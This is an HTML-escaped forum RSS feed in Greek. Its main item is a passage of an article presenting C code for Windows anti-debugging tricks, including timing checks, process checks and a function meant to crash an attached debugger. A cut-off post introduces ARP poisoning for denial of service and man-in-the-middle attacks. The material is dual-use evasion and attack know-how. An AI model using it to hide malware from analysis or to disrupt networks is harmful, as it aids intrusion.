            filename[ i ] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; ProcessEntry.szExeFile[ i ];
        filename[ i ] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt;     '\0';

        &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt;  (  (stricmp(filename , &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"cmd.exe"&lt;/span&gt;)) &amp;amp;&amp;amp;
             (stricmp(filename , &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"explorer.exe"&lt;/span&gt;)))
        {
            IsDebugON &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 1;
        }

        &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;break&lt;/span&gt;;
    }
}
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;while&lt;/span&gt;( Process32Next( hProcessSnapShot, &amp;amp;ProcessEntry ));

&lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Close the handle&lt;/span&gt;
CloseHandle( hProcessSnapShot );
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; (IsDebugON);
}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;Βέβαια αυτή η τεχνική έχει και αρκετά μειονεκτήματα. Θα μπορούσε να επιστρέφει αρκετά "false alarms" αν κάποιος καλούσε το πρόγραμμα μέσα από κάποιο file explorer, όπως π.χ. τον αγαπημένο μου Total Commander [τον πάλαι πότε Norton Commander - αν τον θυμάται κανένας ακόμα!!!&amp;nbsp;&lt;img src="http://www.dotnetzone.gr/cs/emoticons/emotion-6.gif" alt="Sad" /&gt; ].&lt;br&gt;&lt;br&gt;&lt;b&gt;Τεχνική 5: Μετρώντας τον χρόνο που μεσολαβεί μεταξύ της εκτέλεσης δύο εντολών ή αλλιώς «τεχνική anti-break-point».&lt;/b&gt;&lt;br&gt;Ένας αρκετά πονηρός και όχι έυκολα παραβιάσιμος τρόπος προστασίας είναι να μετρήσουμε τον χρόνο που έχει περάσει ανάμεσα σε 2 εντολές του προγράμματός μας. Αν ο χρόνος αυτός είναι μεγαλύτερος από (ας πούμε) 1 δευτερόλεπτο σημαίνει οτι μάλλον κάποιος βρίσκεται μέσα σε ένα debugger και μάλιστα έχει βάλει κάποιο break point και διαβάζει το πρόγραμμά μας.&lt;br&gt;Θα χρησιμοποιήσουμε 2 μεθόδους που υλοποιούνε αυτήν την τεχνική για να κάνουμε ακόμα πιο δύσκολο τον εντοπισμό της: Την GetTickCount και την QueryPerformanceCounter.&lt;br&gt;&lt;br&gt;&lt;i&gt;&lt;b&gt;&amp;gt;&amp;gt;GetTickCount:&lt;/b&gt;&lt;/i&gt;&lt;br&gt;Η βιβλιοθήκη Win32 μας παρέχει μια ειδική συνάρτηση η οποία μετράει τον χρόνο (σε χιλιοστά του δευτερολέπτου) που έχει περάσει από τη στιγμή που ανοίξαμε τον υπολογιστή μας. Πέρα από τα (ομολογουμένως) ενδιαφέροντα κόλπα που μπορούμε να κάνουμε με αυτήν την συνάρτηση, μπορούμε και να μετρήσουμε τον χρόνο που έχει περάσει ανάμεσα σε μια ή περισσότερες εντολές. Το ενδιαφέρον της υπόθεσης είναι οτι η συνάρτηση αυτή δεν χρησιμοποιεί καμιά υπηρεσία (service) του kernel για να τρέξει. Η υλοποίηση της είναι σχετικά απλή:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;...
unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; BeginTime, EndTime, Difference;
...
BeginTime &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; GetTickCount();
function1();
function2();
EndTime &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; GetTickCount();
Difference &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; (EndTime &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;-&lt;/span&gt; BeginTime) &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;/&lt;/span&gt; 1000;  &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// seconds  &lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (Difference &amp;gt; 1 )
    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from GetTickCount with number = %d! \n"&lt;/span&gt;,Difference);
...&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;&lt;b&gt;&amp;gt;&amp;gt;QueryPerformanceCounter:&lt;/b&gt;&lt;/i&gt;&lt;br&gt;Είναι μια API function και βρίσκεται μέσα στην kernel32.dll. Η υλοποίηση της είναι επίσης εύκολη:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;...
__int64 ctr1 &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0, ctr2 &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0, diff, freq=0;
QueryPerformanceCounter((LARGE_INTEGER &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;*&lt;/span&gt;)&amp;amp;ctr1);
function1();
function();
QueryPerformanceFrequency((LARGE_INTEGER &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;*&lt;/span&gt;)&amp;amp;freq);
QueryPerformanceCounter((LARGE_INTEGER &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;*&lt;/span&gt;)&amp;amp;ctr2);
diff &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; ((ctr2 &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;-&lt;/span&gt; ctr1)  &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;/&lt;/span&gt; freq);        &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// seconds&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (diff &amp;gt; SecondsToWaitBeforeAbort)
    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from QueryPerformanceCounter with number = %d! \n"&lt;/span&gt;,diff);
...&lt;/span&gt;&lt;/pre&gt;Υπάρχουν και κάποιες άλλες τεχνικές που βασίζονται σε κάποια side-effects του τρόπου που λειτουργούν οι API functions των windows XP οι οποίες όμως έχουν αλλάξει στα Vista γι’ αυτό και δεν τις υλοποίησαμε. Για την επάρκεια όμως της γνώσης είναι καλό να τις αναφέρουμε.&lt;br&gt;&lt;br&gt;&lt;b&gt;Η περίπτωση του kernel32!CloseHandle και NtClose.&lt;/b&gt;&lt;br&gt;Κάποιες συναρτήσεις API χρησιμοποιούν την συστημική κλήση ZwClose (&lt;a href="http://is.gd/6HhG"&gt;http://is.gd/6HhG&lt;/a&gt;) (όπως η CloseHandle και η NtClose) η οποία μπορεί να χρησιμοποιηθεί για την εύρεση παρουσίας debugger. H ZwClose δέχεται σαν παράμετρο ένα pointer σε ένα οποιοδήποτε object για να το αποδεσμεύσει. Αν μέσα από ένα debugger καλέσουμε την ZwClose με παράμετρο η οποία δεν αντιστοιχεί σε κάποιο υπαρκτό object τότε αυτή (αν και μόνο αν βρίσκεται κάτω από debugger) επιστρέφει ένα συγκεκριμένο λάθος (exception) το οποίο είναι το STATUS_INVALID_HANDLE (0xC0000008).&lt;br&gt;&lt;b&gt;Η περίπτωση του kernel32!OutputDebugStringA (&lt;a href="http://is.gd/6Hp1"&gt;http://is.gd/6Hp1&lt;/a&gt;).&lt;/b&gt;&lt;br&gt;Η τεχνική αυτή αναφέρεται (στην «βιβλιογραφία») οτι έχει χρησιμοποιηθεί στο ReCrypt v0.80. Το κολπάκι βρίκεται στην κλήση της OutputDebugStringΑ η οποία δέχετε σαν παράμετρο μια σειρά χαρακτήρων. Σε κανονικές συνθήκες η function αυτή επιστρέφει 1, αλλά αν κληθεί μέσα από έναν debugger και περάσουμε σαν παράμετρο μια μη αποδεκτή σειρά χαρακτήρων τότε η συνάρτηση αυτή επιστρέφει την διεύθυνση της σειράς χαρακτήρων που περάσαμε σαν παράμετρο και όχι το 1 ή 0, όπως θα περίμενε κανείς.&lt;br&gt;&lt;br&gt;&lt;b&gt;Καλώντας τα όλα μαζί:&lt;/b&gt;&lt;br&gt;Η βασική υποθετική function που θα μπορούσε να καλεί όλες τις παραπάνω συναρτήσεις είναι η ακόλουθη:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; DirectIsDebuggerPresent();
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; TestNtGlobalFlags();
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; CheckRemoteDebugger_Direct();
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; TestByProcessCheck();
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; CrashAttack();


&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;#define&lt;/span&gt; SecondsToWaitBeforeAbort 1

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; main(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; argc, &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; *argv[])
{
    unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; BeginTime, EndTime, Difference;
    __int64 ctr1 &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0, ctr2 &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0, diff, freq=0;

    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Hello world!\n"&lt;/span&gt;);

    BeginTime &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; GetTickCount();
    QueryPerformanceCounter((LARGE_INTEGER &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;*&lt;/span&gt;)&amp;amp;ctr1);
    BOOL bDebugged &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; FALSE;
    CheckRemoteDebuggerPresent( GetCurrentProcess(), &amp;amp;bDebugged );
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (bDebugged) printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from API CheckRemoteDebuggerPresent() \n"&lt;/span&gt;);
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt; printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug OFF from CheckRemoteDebuggerPresent \n"&lt;/span&gt;);

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (CheckRemoteDebugger_Direct())
             printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from CheckRemoteDebugger_Direct \n"&lt;/span&gt;);
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt;
             printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug OFF from CheckRemoteDebugger_Direct \n"&lt;/span&gt;);

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (DirectIsDebuggerPresent())
           printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from IsDebuggerPresent() direct call \n"&lt;/span&gt;);
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt;
           printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug OFF from IsDebuggerPresent() direct call \n"&lt;/span&gt;);

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (TestNtGlobalFlags()) printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from NtGlobalFlags \n"&lt;/span&gt;);
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt; printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug OFF from NtGlobalFlags \n"&lt;/span&gt;);

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (TestByProcessCheck()) {
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from TestByProcessCheck &amp;amp; crash ATTACK\n"&lt;/span&gt;);
        CrashAttack();  &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;//!!!!!!!!!!!! ΕΠΙΘΕΣΗΗΗΗΗΗΗΗΗΗΗ !!!!!!!!!&lt;/span&gt;
    }
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt; printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug OFF from TestByProcessCheck &amp;amp; crash ATTACK\n"&lt;/span&gt;);

    QueryPerformanceFrequency((LARGE_INTEGER &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;*&lt;/span&gt;)&amp;amp;freq);

    EndTime &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; GetTickCount();
    QueryPerformanceCounter((LARGE_INTEGER &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;*&lt;/span&gt;)&amp;amp;ctr2);

    Difference &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; (EndTime &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;-&lt;/span&gt; BeginTime) &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;/&lt;/span&gt; 1000;  &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// seconds  &lt;/span&gt;
    diff &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; ((ctr2 &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;-&lt;/span&gt; ctr1)  &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;/&lt;/span&gt; freq);        &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// seconds&lt;/span&gt;

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (Difference &amp;gt; SecondsToWaitBeforeAbort )
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from GetTickCount with number = %d! \n"&lt;/span&gt;,Difference);

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (diff &amp;gt; SecondsToWaitBeforeAbort)
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Debug ON from QueryPerformanceCounter with number = %d! \n"&lt;/span&gt;,diff);

    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"END OF PROGRAM...."&lt;/span&gt;);
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; 0;
}&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;Δώστε βάση στην επιτυχία της TestByProcessCheck(). Σε αυτήν την 
περίπτωση κάνουμε κάτι... κακό. Καλούμε την function CrashAttack() η 
οποία κάνει το πρόγραμμα μας να «κολλήσει». Αυτό βέβαια μπορούμε να το 
κάνουμε κάθε φορά που διαπιστώνουμε οτι βρισκόμαστε μέσα σε έναν 
debugger. H κακή function απλά ορίζει μια σειρά χαρακτήρων με λάθος 
ορίσματα κάνοντας τον debugger να τα... «παίξει». Ο κώδικάς της είναι ο 
ακόλουθος:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; CrashAttack()&lt;br&gt;{&lt;br&gt;    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;const&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; szHello[10] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"%s%s"&lt;/span&gt;;&lt;br&gt;    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"\n---*In Attack*---\n"&lt;/span&gt;);&lt;br&gt;    __asm {&lt;br&gt;         push  szHello&lt;br&gt;         call [OutputDebugStringA]&lt;br&gt;    }&lt;br&gt;    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt;(1);&lt;br&gt;}&lt;/span&gt;&lt;/pre&gt;Μια βασική παρατήρηση. Ποτέ μα &lt;u&gt;ποτέ&lt;/u&gt; να μην γράφετε τον κώδικα σας τόσο εύκολα κατανοητό όσο εμείς σε αυτό το παράδειγμα που έγινε για λόγους παρουσίασης και κατανόησης. Μην επαφίεστε ποτέ σε έναν μόνο έλεγχο μιας μεταβλητής για το αν υπάρχει ή όχι debugger ενεργοποιημένος ή πόσα δευτερόλεπτα μπορεί να περιμένει το πρόγραμμα πριν αποφασίσει οτι έχει μπει ένα break point. Οι έλεγχοι που βασίζονται σε μεμονομένες μεταβλητές δεν είναι καλή πρακτική μιας και εύκολα μπορούν να αλλάξουν από τον cracker. Να προτιμάτε να καλέσετε την ίδια την συνάρτηση μέσα στον έλεγχο (if/then) παρά να βάλετε το αποτελέσεμα της σε μια μεταβλητή και μετά να εξετάσετε την μεταβλητή. Πολλά τέτοια κι άλλα ακόμα κόλπα θα δούμε στο part 2 αυτού του άρθρου όταν θα μιλήσουμε για code obfuscation, δηλαδή για μπέρδεμα του κώδικα για να μην μπορεί εύκολα να γίνει κατανοητός.&lt;br&gt;&lt;br&gt;Πιστεύω οτι έδωσα μια μικρή αλλά αντιπροσωπευτική εικόνα για τον τρόπο που μπορούμε να προστατεύσoυμε τα προγράμματα μας από τον... debugger!&lt;br&gt;Φυσικά οι τρόποι και οι μέθοδοι είναι πάρα πολλοί και συνεχώς εξελίσονται κατ’ αναλογία πάντα με την τεχνικές cracking! Εγώ, πάντα στα πλαίσια του χώρου από τη μία και της επάρκειας της γνώσης από την άλλη, προπάθησα να δώσω μια εικόνα εικόνα του 1ου βήματος προστασίας. Στο επόμενο part θα ακολουθήσουν και τα επόμενα βήματα τα οποία είναι εξίσου σημαντικά αλλά και ενδιαφέροντα. &lt;br&gt;&lt;br&gt;Όλο το project το έχουμε ονομάσει Rock. Τα sources μαζί με το executable των συναρτήσεων που παρουσιάζονται σε αυτό το άρθρο, μπορείτε να το κατεβάσετε από εδώ:&amp;nbsp; &lt;a href="http://rapidshare.com/files/189286984/RockProjectThiseas.rar"&gt;http://rapidshare.com/files/189286984/RockProjectThiseas.rar&lt;/a&gt;. &lt;br&gt;Ως συνήθως, δεν υπάρχει κανένα πρόβλημα copyright και μπορείτε να χρησιμοποιήσετε τον κώδικα για να προστατεύσετε τα προγράμματα σας, όπως εσείς νομίζετε χωρίς εγώ να έχω ΚΑΜΙΑ απαίτηση. Ούτε απαιτώ καμιά αναφορά σε κανένα προγραμματιστή που τα έφτιαξε, κανένα χρηματικό «έπαθλο» ή άλλα τέτοια χαρωπά! Μπορείτε να τα αλλάξετε, να τα χαλάσετε, να τα εμπλουτίσετε, να τα πουλήσετε, και οτι περνάει από το μυαλό σας που δεν περνάει από το δικό μου... &lt;img src="http://www.dotnetzone.gr/cs/emoticons/emotion-1.gif" alt="Smile" /&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Happy Anti-Cracking!!&lt;br&gt;&lt;font size="2"&gt;&lt;i&gt;&lt;br&gt;[Πρώτη Δημοσίευση: Total Xake&lt;span class="Unicode" style="white-space:normal;text-decoration:none;"&gt;Я&lt;/span&gt;&lt;/i&gt;&lt;/font&gt;&lt;font size="1"&gt;&lt;font size="2"&gt;&lt;i&gt; Magazine #19 (Dec.2008)]&lt;/i&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;[ &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/57586.aspx"&gt;PART II&lt;/a&gt; ]&lt;br&gt;&lt;br&gt;</description></item><item><title>Application  Protection   </title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57394.aspx</link><pubDate>Tue, 02 Mar 2010 06:52:50 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57394</guid><dc:creator>ntaryl</dc:creator><slash:comments>8</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57394.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57394</wfw:commentRss><description>&lt;P&gt;Καλησπερα   &lt;/P&gt;&lt;P&gt;1) Για να προστατεψουμε  την εφαρμογη  μας μπορουμε να χρησιμοποιησουμε ειτε με  hardware ID αλλα  ακομα  μπορουμε να χρησιμοποιησουμε  να δινεται license   μεσω  Ιντερνετ&lt;/P&gt;&lt;P&gt;2)Για  προστασια του κωδικα μας  απλα  χρησιμοποιηστε  anti crack τεχνικες  .και  με το κλεισιμο της εφαρμογης μια  καλη κρυπτογραφηση .&lt;/P&gt;&lt;P&gt;Σαφως το μπερδεμα του κωδικα  ειναι καλο  αλλα αμα κανει Decompile  .....&lt;/P&gt;&lt;P&gt;καλο  βραδυ   &lt;/P&gt;&lt;P&gt;&lt;BR&gt;&lt;/P&gt;&lt;P&gt;&lt;BR&gt;&lt;/P&gt;</description></item><item><title>test</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57459.aspx</link><pubDate>Sat, 06 Mar 2010 05:40:27 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57459</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57459.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57459</wfw:commentRss><description>&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Θα παρουσιάσω τον τρόπο που μπορεί κάποιος να παραποιήσει τα δεδομένα που ξέρει ο router για κάποιο υπολογιστή του δικτύου (&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://el.wikipedia.org/wiki/ARP_spoofing"&gt;ARP Poisoning&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;) με αποτέλεσμα την άρνηση εξυπηρέτησης ή αλλιώς το γνωστό (DOS)&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://en.wikipedia.org/wiki/Denial-of-service_attack"&gt;Denial Of Service&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;ή ακόμα πιο "λαϊκά": Να μην έχει internet!!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Επίσης θα δείξω πώς η παραπάνω μέθοδος θα μπορούσε (με μια μικρή αλλαγή) να χρησιμοποιηθεί και για επιθέσεις&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://el.wikipedia.org/wiki/Man-in-the-middle_attack"&gt;Man In The Middle&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;. Γενικά θα δούμε την λειτουργία του ARP Poisoning στην πράξη. Δεν θα χρησιμοποιήσω κάποιο έτοιμο εργαλείο. Ούτε καν θα γράψω κάποιο πρόγραμμα. Την αλλοίωση του πίνακα ARP μαζί με ότι αυτό συνεπάγεται, θα την πραγματοποιήσω με τον πατροπαράδοτο παλιό καλό τρόπο: Χειροκίνητα!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Θα πραγματοποιήσω την επίθεση από ένα box με λειτουργικό σύστημα Windows Vista SP2 σε ένα box με Windows XP SP2. Ακόμα, θα παρακολουθήσω και θα ελέγξω την επιτυχία της επίθεσης με την χρήση του γνωστού sniffer&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://www.wireshark.org/"&gt;Wireshark&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Για να καταλάβουμε πως ακριβώς θα λειτουργήσει η επίθεση θα πρέπει να μιλήσω πρώτα για ένα πρόγραμμα που μας δίνεται μαζί με τα Vista αλλά και τα XP. Ένα πρόγραμμα που τρέχει από την γραμμή εντολών του λειτουργικού συστήματος, και που «ακούει» στο όνομα ARP.EXE και βρίσκεται (που αλλού&lt;/span&gt;&lt;img class="bbc_emoticon" alt=";)" style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://p0wnbox.com/public/style_emoticons/default/wink.gif"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;στον κατάλογο c:\windows\system32. Το πρόγραμμα αυτό μόλις εκτελεστεί με την παράμετρο "-a" θα μας δείξει τα περιεχόμενα του πίνακα ARP (εικόνα 1).&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic01.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, 